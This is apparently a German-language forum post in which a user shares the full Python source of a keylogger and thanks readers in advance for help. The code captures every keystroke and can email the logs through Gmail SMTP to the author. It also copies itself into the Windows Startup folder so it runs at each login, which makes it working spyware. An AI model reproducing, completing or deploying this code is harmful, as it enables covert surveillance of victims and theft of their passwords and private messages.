Hier ist der Code:
Code: Alles auswählen
import getpass
import keyboard
import smtplib
import os, stat
from threading import Timer
from datetime import datetime
from tkinter import *
from tkinter import ttk
from shutil import copyfile
SEND_REPORT_EVERY = 10
EMAIL_ADDRESS = "<Hier kommt dann die gmail rein>"
EMAIL_PASSWORD = "<Passwort für die Mail>"
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def sendmail(self, email, password, message):
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
Setup()
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
def stopp():
exit()
def Setup():
win = Tk()
win.geometry('800x600')
win.title("Setup")
win.label = Label(win, text="Keylogger Beenden !",
# Design
width="20", height="10")
win.label.pack()
win.button = Button(win, text="Beenden !", command=lambda: [stopp(), win.destroy()],
# Design
bg="red", fg="white", height="20", width="60")
win.button.pack()
win.mainloop()
def on_press():
if keyboard.read_key() == "strg" and keyboard.read_key() == "alt" and keyboard.read_key() == "s":
Setup()
if __name__ == "__main__":
Pfad = os.path.abspath(".") + "/keylogger.py"
user = getpass.getuser()
ZielPfad = 'C:/Users/'+user+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'+'/keylogger.py'
os.replace(Pfad,ZielPfad)
copyfile(ZielPfad,Pfad)
on_press()
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Danke schonmal
LG FuTeaz